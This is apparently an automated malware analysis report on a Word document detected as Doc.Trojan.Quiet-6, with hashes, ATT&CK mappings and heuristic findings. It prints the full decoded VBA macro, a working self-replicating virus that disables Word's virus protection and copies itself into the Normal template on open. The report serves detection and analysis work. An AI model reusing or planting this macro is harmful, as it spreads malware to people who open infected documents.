Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b35b73edef46a578…

MALICIOUS

Office (OLE)

110.0 KB Created: 2001-04-23 08:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 09ca8cd50a8018152b0e964ad256daba SHA-1: 5822e2595711553d42248c2e740b702761e40834 SHA-256: b35b73edef46a5781992c35ece18e660425740859873d4e7eabb8e7e17257135
180 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro is designed to copy itself to the Normal template, likely to ensure persistence or to facilitate further malicious actions upon subsequent document openings. The document body presents a request for quotation to entice the user to interact with the malicious content.

Heuristics 3

  • ClamAV: Doc.Trojan.Quiet-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quiet-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 951 bytes
SHA-256: a80d7da16cf68b1cff375996ff3ece5f5dad70ebd2f4cdd015747855991f9b70
Detection
ClamAV: Doc.Trojan.Quiet-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private source As Object
Private dest As Object

Private Sub Document_open()
 Application.Options.VirusProtection = False
 Set source = ActiveDocument.VBProject.VBComponents.Item(1)
 Set dest = NormalTemplate.VBProject.VBComponents.Item(1)
 If dest.codemodule.countoflines = 0 Then
  For i = 1 To source.codemodule.countoflines
     dest.codemodule.insertlines i, source.codemodule.lines(i, 1)
  Next i
  Application.Options.SaveNormalPrompt = False
End If

If source.codemodule.countoflines = 0 Then
 For i = 1 To dest.codemodule.countoflines
  source.codemodule.insertlines i, dest.codemodule.lines(i, 1)
 Next i
 ActiveDocument.SaveAs (ActiveDocument.FullName)
 End If
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_978245931/Ole10Native 70404 bytes
SHA-256: ac2c27d82041deb2bc8e0f65d96bba7b078463c0c720e5c6822b41d98f066a69

Open this report in the interactive analyzer, or submit your own file for analysis.